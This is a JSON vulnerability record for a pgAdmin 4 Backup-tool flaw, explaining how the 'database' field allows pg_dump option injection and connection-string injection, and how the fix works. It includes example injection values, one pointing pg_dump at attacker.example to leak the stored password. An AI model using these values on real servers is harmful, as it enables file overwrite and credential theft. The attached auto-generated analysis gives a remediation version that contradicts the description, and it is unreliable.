{"id":"CVE-2026-86864","published":"2026-09-17T16:18:18.010","lastModified":"2026-09-21T17:27:38.967","description":"pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further.\n\nThe same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role.\n\nThe fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value.\n\nThis issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.","cvssScore":8.8,"cvssSeverity":"HIGH","cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwes":["CWE-22","CWE-88"],"vendors":["pgadmin"],"products":["pgadmin 4"],"references":[{"url":"https://github.com/pgadmin-org/pgadmin4/issues/10384","tags":["Issue Tracking","Patch","Vendor Advisory"]}],"exploitRefs":[{"url":"https://github.com/pgadmin-org/pgadmin4/issues/10384","tags":["Issue Tracking","Patch","Vendor Advisory"]}],"hasPoc":true,"ai":{"summary":"The flaw allows an attacker to inject arbitrary file paths and connection strings, leading to arbitrary file creation and overwrite, and potential credential theft.","exploitability":"Exploitation is relatively easy as it requires an attacker to manipulate the 'database' field in the request, which can be done with minimal effort.","blast_radius":"If exploited, the impact can be severe, including data loss, system compromise, and potential privilege escalation.","remediation":"Upgrade to pgAdmin 4.25 or later.","detection":"No reliable host or network indicator is derivable from the published description.","tags":["rce","file-override","connection-string-injection"],"model":"qwen2.5:7b-instruct","analyzedAt":"2026-09-30T09:08:57.694Z"}}